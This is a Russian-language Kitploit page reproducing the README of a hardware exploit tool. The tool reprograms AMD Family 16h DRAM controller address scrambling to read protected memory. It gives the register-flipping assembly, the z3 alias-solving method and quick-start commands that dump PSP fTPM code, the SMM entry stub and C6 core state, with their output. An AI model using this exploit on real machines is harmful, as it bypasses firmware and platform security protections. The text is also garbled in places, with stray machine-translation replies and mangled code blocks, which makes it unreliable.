Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
skitter-creek-bath-salts — Использует скремблирование адресов контроллера DRAM для переназначения физической памяти и доступа к защищённым областям CPU, включая PSP, SMM и микрокод, на системах AMD Family 16h. | Kitploit
Инструменты/GitHubGitHub/xoreaxeaxeax/skitter-creek-bath-salts
Анализ уязвимостейЭксплуатацияОбратная инженерияАппаратный ХакингАппаратная БезопасностьАнализ Прошивок
GitHubxoreaxeaxeax/skitter-creek-bath-salts

skitter-creek-bath-salts

Использует скремблирование адресов контроллера DRAM для переназначения физической памяти и доступа к защищённым областям CPU, включая PSP, SMM и микрокод, на системах AMD Family 16h.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
4356 дней назадЕщё не проверено

skitter-creek-bath-salts

Разблокируем всё на CPU с помощью скремблирования DRAM — PSP, C6, микрокод, SMM и всё остальное, о чём умолчали спецификации.

&x == &x.

Обычно.

Распутывание DRAM

Ткните в контроллер DRAM — и адрес можно заставить попасть куда угодно в памяти. skitter-creek-bath-salts проникает на самый глубокий уровень иерархии памяти и перекоммутирует физические трансляции адресов DRAM, чтобы перемешать платформенную память и высвободить её самые охраняемые секреты — специализированные зарезервированные области, невидимые даже ядру. Когда трансляции ломаются, стены, построенные на них, рушатся, и мы разблокируем всё.


TL;DR

  • Разблокируйте свой Platform Security Processor
  • Разблокируйте System Management Mode
  • Разблокируйте C6 DRAM
  • Разблокируйте микрокод вашего CPU

Целевая платформа

Разработано и протестировано на процессорах AMD Family 16h — последнем поколении, в документации которого описаны регистры трансляции контроллера DRAM — и показано, что их нельзя заблокировать. В 17h и более новых поколениях эта информация просто отсутствует. Одиссея *p схожа во всех поколениях и архитектурах, а лежащие в основе преобразования распространяются даже на ARM, RISC-V и далее; skitter-creek-bath-salts показывает нам лишь с чего начать.


Одиссея *p

Это долгий путь вниз.

Память построена на таких глубоких уровнях абстракции, что они становятся почти абсурдными. Когда ваш код разыменовывает *p, кажется, что он обращается к DRAM по адресу p. На самом деле это не так — p это виртуальный адрес, и прежде чем будет затронут хотя бы один бит DRAM, ему предстоит пройти через все испытания ниже:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

root@kitploit:~
Этот проект работает на самых глубоких уровнях конвейера `*p`, на слое MCT/DCT
— где физический адрес из фабрики данных/интерконнекта попадает в контроллер
памяти и перезаписывается в последний раз в сырые координаты DRAM, которые
выдаются на модуль DIMM.

---

## Спагеттификация DRAM

> Физические адреса — это скорее предложение.```nasm
xor dword [0xf80c2094], 0x00400000

Вот и весь эксплойт. Целиком.

Один переворот бита в контроллере DRAM перестраивает весь фундамент конвейера *p, и данные, которые были по адресу &x, теперь находятся где-то ещё в полёте. Внезапно &x != &x. Все продуманные механизмы, с помощью которых CPU, прошивка, uncore и чипсет скрупулёзно отгораживали все наиболее защищённые области памяти, находятся выше контроллера памяти и совершенно не подозревают ни о чём, что происходит под ним. Все существующие барьеры памяти защищают физические адреса, а не координаты DRAM, и если изменить координаты DRAM, все барьеры CPU и data fabric, расположенные выше, останутся в полном неведении.

Но перекоммутировать DRAM легко. Бит выше — это bank-swizzle-mode в DCT, и это лишь один из десятков битов, управляющих перераспределением адресов на финальном уровне, — достаточно лишь пнуть их, чтобы всё, что построено сверху, рухнуло. Сложнее всего — удержать платформу на плаву, пока вся системная память под ней перемешивается.

Фокус в том, чтобы действовать быстро и не трогать DRAM. Отключите AP, заранее заполните TLB, разогрейте кэш, отключите прерывания, сбросьте целевую область, сериализуйте обращения к памяти и надейтесь, что CPU заранее подтянул следующие инструкции. Затем перепрограммируйте MCT/DCT, чтобы превратить DRAM в спагетти, захватите немного данных из защищённой области, верните сопоставления на место, снова выполните сериализацию, включите прерывания, возобновите работу AP — и всё возвращается в норму, а остальная платформа остаётся совершенно невредимой.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

root@kitploit:~
При тщательной настройке пейджинга, состояний кэша, многопоточности и TLB
перемешивание адресов можно заставить работать из C, чтобы проиллюстрировать
схлопывание конвейера `*p` и искажённое представление платформы, когда внезапно `&x != &x`:

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

Таким образом, мы можем перекоммутировать карту и восстановить её без следов. Остаётся
лишь знать, во что мы её перекоммутировали.

---

## Разблокировка *всего*

> Каждая защищённая область памяти на платформе, доступная с помощью калькулятора.

С помощью описанного выше подхода мы можем перепрограммировать преобразование MCT/DCT
на работающей системе — перестраивая самую нижнюю ступень конвейера `*p`, чтобы
перемешать память, вырвав её из-под каждой защиты, построенной поверх неё.

Но есть сложность: хотя мы можем перепрограммировать трансляцию простой
командой `xor dword [0xf80c2094], 0x00400000`, мы понятия не имеем, какие новые
преобразования будут использовать MCT/DCT (технические описания здесь
недостаточно детализированы — xor-карты неверны, вычитающая ступень MMIO
неупорядочена, а детали различаются между моделями).
Без этого память перемешивается, но у нас нет способа восстановить её.

К счастью, преобразование адресов контроллера DRAM является линейным отображением
над GF(2), что означает, что мы можем восстановить перемешанную память с помощью
базовой линейной алгебры.

Сначала рассмотрим обычный случай: прямое преобразование конфигурации MCT/DCT
по умолчанию применяется к некоторому физическому адресу, который попадает на
секрет в DRAM:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

Это когерентное представление памяти: нижняя ступень конвейера *p работает ровно так, как и должна.

Теперь перекоммутируем стадию MCT/DCT конвейера *p с помощью xor dword [0xf80c2094], 0x00400000, и платформа переходит в перемешанное/спагеттифицированное представление памяти, где другое преобразование позволяет псевдониму достичь того же секрета DRAM:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

root@kitploit:~
Этот псевдоним позволяет получить тот же секрет, не наталкиваясь на существующие платформенные
замки и защиты, созданные для согласованного представления. Чтобы найти псевдоним, составьте
инверсию атакующего/спагеттифицированного хэша с прямым преобразованием
прошивочного/согласованного хэша, чтобы получить преобразование, которое позволит добраться до любого секрета из
вредоносной конфигурации MCT/DCT:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

Единственная сложность в том, что матрицы неизвестны, а значит, мы понятия не имеем, как на самом деле перемешивается память, и у нас нет преобразования, чтобы вообще добраться до секрета:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

root@kitploit:~
К счастью, на этом этапе это просто линейная алгебра, и вы могли бы решить
преобразования вручную, если хотите. Или: калькулятор.

Мы используем [z3](https://github.com/z3prover/z3). Сначала SMT-солверу нужны
ограничения для работы.

Начните в связном представлении, измените MCT/DCT, чтобы переключиться на «спагеттифицированное» представление,
запишите какое-нибудь сигнальное значение, например `0xdeadc0de`, в случайный адрес памяти,
переключитесь обратно в связное представление и просканируйте память в поисках того, где сигнальное значение
снова появляется. Это даёт пару (target, alias) — конкретную точку данных, показывающую два
физических адреса, которые отображаются на одну и ту же ячейку в DRAM. Повторите процесс,
соберите немного данных, передайте их в z3, и он решит матрицу преобразования,
необходимую для переключения между двумя представлениями — любой физический адрес в связном представлении на
одной стороне, его псевдоним в «спагеттифицированном» представлении на другой:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

Подавая пары псевдонимов в z3 по одной, мы можем наблюдать, как SMT-решатель расшифровывает перемешивание памяти в реальном времени, как показано на начальном изображении.

Решённое преобразование — это розеттский камень, ключ к тому, чтобы взять любой целевой адрес в нормальном когерентном представлении памяти и добраться до тех же данных в перемешанном спагеттифицированном представлении. Чтобы разблокировать защищённую DRAM, выберите адрес, до которого мы не можем дотянуться, — приватная память PSP, SMRAM, состояние простоя C6 — прогоните его через преобразование, решаемое z3, и получите псевдоним, который достигнет цели в спагеттифицированном представлении, не задевая сложные ограждения, блокировки и проверки безопасности, которые платформа построила для когерентного представления памяти. Перенастройте DCT с помощью xor dword [0xf80c2094], 0x00400000, прочитайте или запишите псевдоним, его путь через конвейер *p обходит каждое ограждение на пути, вернитесь к когерентному представлению вторым xor dword [0xf80c2094], 0x00400000 — и готово: неограниченный доступ ко всему, что платформа спрятала в DRAM.

разблокировка DRAM

В конечном счёте всё, что обычно так тщательно отгорожено — приватная память PSP, SMRAM, состояние простоя C6 — заблокировано и недоступно из ОС и ring-0, а иногда даже с самого CPU, всё равно лежит в тех же физических конденсаторах DRAM. Но блокировки, ограждения и стены были построены вокруг когерентного представления памяти, и ничего не могут сделать против спагеттифицированных псевдонимов, которые достигают тех же данных.

Переверните один бит на последнем уровне конвейера *p — и мы разблокировали всё.


Быстрый старт: разблокируйте свой Platform Security Processor

Повозитесь со своим PSP — и посмотрите, что получится.

fTPM работает на собственном ARM-ядре PSP, в выделенной области DRAM сразу за видимой верхней границей памяти. Дотянитесь до неё, создав псевдоним для видимого из ОС физического адреса, извлеките байты и дизассемблируйте.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

root@kitploit:~
No input content was provided to translate.```armasm
; crAmd_ModExp — the fTPM's RSA modular-exponentiation routine, recovered intact
; from the PSP's private DRAM.
7f8019d4:  b5f0       push  {r4, r5, r6, r7, lr}
7f8019d6:  b0e5       sub   sp, #404
7f8019de:  2280       movs  r2, #128                  ; 1024-bit operand
7f8019e4:  f7fe ffef  bl    0x7f8009c6                ; import base (aA)
7f8019ee:  a0eb       adr   r0, 0x7f801d9c            ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8:  f7fe ffe5  bl    0x7f8009c6                ; import exponent (aB)
7f801a02:  a0f0       adr   r0, 0x7f801dc4            ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18:  f000 fdd4  bl    0x7f8025c4                ; the modexp itself
7f801a20:  a0f2       adr   r0, 0x7f801dec            ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22:  f000 fef5  bl    0x7f802810                ; log error
7f801a2e:  f001 e92a  blx   0x7f802c84                ; export result
7f801a36:  bdf0       pop   {r4, r5, r6, r7, pc}

Это RSA-движок PSP — modexp, стоящий за каждой подписью fTPM и за тестами Miller-Rabin, которые создают его ключи, — извлечённый из памяти, которой PSP, как предполагается, владеет в одиночку, изолированный на контроллере памяти, непрозрачный даже для ring-0. Изменяйте как сочтёте нужным.


Быстрый старт: разблокировка System Management Mode

Узнайте, что скрывает SMM.

Вектор входа обработчика SMI находится по адресу SMBASE + 0x8000. SMBASE — в MSR 0xc0010111. Прочитайте его, извлеките байты через карту алиасов и направьте их прямо в дизассемблер:```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

sudo modprobe msr

SMBASE is per-core; core 0's lives in MSR 0xc0010111.

SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111) SMI_ENTRY=$(( SMM_BASE + 0x8000 ))

Dump the entry vector through the alias map and disassemble on the fly.

SMM starts in real mode, so ndisasm gets -b 16. One --map per saved map;

printf expands the glob into a --map for each (at_swizzle, at_bankswap) combo.

sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -

root@kitploit:~
I don't see any content to translate — the input after `INPUT:` is empty. Please provide the chunk text you'd like translated.```nasm
; SMI entry stub — the first thing a core executes when entering the
; ultra-privileged System Management Mode.
mov si,0x8148           ; SI -> GDT pointer parked at SMBASE+0x8148, just past this stub
o32 lgdt [cs:si]        ; load it (o32 -> full 32-bit base, not real mode's 24-bit form)
mov eax,0x3             ; CR0.PE | CR0.MP
mov cr0,eax             ; flip the core into protected mode
jmp short 0x14          ; near jump to serialize and flush the prefetch queue post-switch
mov ax,0x18             ; GDT selector 0x18 -> flat data segment
mov ss,ax               ; reload SS for protected mode
mov eax,0x6efe2ff8      ; SMM stack top
mov esp,eax             ; install the SMM stack
o32 push byte +0x10     ; far-return frame: CS = code selector 0x10
mov ecx,0xc0010111      ; MSR SMM_BASE
rdmsr                   ; EAX = this core's SMBASE
mov ebx,eax             ; stash SMBASE
add eax,0x803a          ; EAX = SMBASE+0x803a, the 32-bit handler entry
push eax                ; far-return frame: EIP = SMBASE+0x803a
retfd                   ; far-return into 0x10:SMBASE+0x803a — the SMI handler proper

Эти инструкции выполняются в кольце -2, самом привилегированном контексте на CPU, вне памяти, которую чипсет должен сделать нечитаемой. То, что SMRAM «заблокирована» оказывается вежливым предложением, когда мы можем общаться с контроллером DRAM напрямую.

Замените 2x4gb на тот префикс в data/maps/, который соответствует вашим установленным модулям DIMM (sudo dmidecode -t memory). Если вашей топологии там нет, запустите analysis/gather_aliases.py, затем analysis/unspaghettify.py, чтобы подготовить свой собственный.


Быстрый старт: разблокировка C6 DRAM

Понятия не имею, что здесь, и никогда не видел, чтобы это обсуждалось; по-видимому, внутренние регистры CPU. Развлекайтесь.

Когда ядра переходят в C6 через power-gating, полный архитектурный контекст x86 каждого из них сохраняется здесь для восстановления.```sh ./userspace/platform_check || exit 1

Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the

test box). Each idle core's state lives in a 16 KiB save area; four cores

here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.

eval "$(sudo ./userspace/dram_carveouts --region cc6)" sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.

Read it from all four cores straight out of the stash:

for c in 0 1 2 3; do printf 'core %d ' $c hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1 done

root@kitploit:~
The input chunk is empty — no Markdown content was provided for translation. Please resend the chunk text for chunk 27 of 47.```text
core 0  000009b8  00 09 e0 fe 00 00 00 00  |........|   <- 0xfee00900  enabled, BSP bit set
